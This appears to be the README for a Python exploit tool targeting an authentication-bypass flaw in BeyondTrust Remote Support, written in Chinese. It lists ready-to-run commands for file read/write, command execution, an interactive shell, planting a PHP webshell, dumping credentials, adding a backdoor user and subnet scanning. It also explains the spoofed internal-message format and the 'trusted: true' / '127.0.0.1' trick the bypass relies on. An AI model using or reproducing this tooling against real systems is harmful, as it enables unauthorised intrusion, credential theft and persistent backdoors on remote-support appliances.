
针对 BeyondTrust Remote Support 中 CVE-2026-102764 的 Python 漏洞利用程序:伪造内部服务消息以绕过身份验证,随后读取/写入文件、执行命令并导出凭据。
通过欺骗实现的认证绕过漏洞
CVSS v3.1:9.8(严重) | CWE-290 | 正在被积极利用(CISA BOD 26-04)
BeyondTrust Remote Support ≤ v26.2.3
BeyondTrust Remote Support 的内部组件未能充分验证消息来源。攻击者可伪造内部服务消息,从而绕过认证并在设备上执行文件操作(读取、写入、删除、列出),执行命令等。
# Quick vulnerability test
python3 exploit.py <target_ip> test
# Enumerate files
python3 exploit.py <target_ip> list /
# Read a file
python3 exploit.py <target_ip> read /opt/beyondtrust/rbs/config/config.xml
# Write a file
python3 exploit.py <target_ip> write /tmp/test.txt "Hello World"
# Execute command
python3 exploit.py <target_ip> exec "id"
# Interactive shell
python3 exploit.py <target_ip> shell
# Upload file
python3 exploit.py <target_ip> upload /remote/path /local/path
# Download file
python3 exploit.py <target_ip> download /remote/path /local/path
# Create webshell
python3 exploit.py <target_ip> webshell
# Gather info
python3 exploit.py <target_ip> info
# Dump credentials
python3 exploit.py <target_ip> creds
# Add backdoor user
python3 exploit.py <target_ip> add-user rbs-backdoor Backdoor123!
# Brute force credentials
python3 exploit.py <target_ip> brute-force
# List active sessions
python3 exploit.py <target_ip> sessions
# Scan critical files
python3 exploit.py <target_ip> scan-files
| 参数 | 描述 |
|---|---|
--port, -p | 目标端口(默认自动检测) |
--no-ssl | 禁用 SSL/TLS |
--timeout, -t | 连接超时(秒) |
--retries, -r | 重试次数 |
--service, -s | 伪造的服务名称 |
--verbose, -v | 详细输出 |
--json | JSON 输出 |
--scan | 扫描子网 |
--output, -o | 输出文件 |
python3 exploit.py --scan 192.168.1.0/24
该漏洞利用通过构造带有 BeyondTrust 内部协议头的伪造二进制消息来工作:
+--------+--------+------+----------+--------+---------+
| Magic | Type | Flag | Length | SID | Checksum|
| 6 bytes| 1 byte | 1 byte| 4 bytes| 4 bytes| 4 bytes |
+--------+--------+------+----------+--------+---------+
| Payload (JSON) |
+--------------------------------------------------------------------+
关键技巧是在 JSON 载荷中设置 trusted: true 和 source_ip: "127.0.0.1",从而诱使设备接受来自内部服务的消息。
获取访问权限后,可使用内置模块执行以下操作:
/opt/beyondtrust/rbs/webapp/shell.php 处创建 PHP Web Shell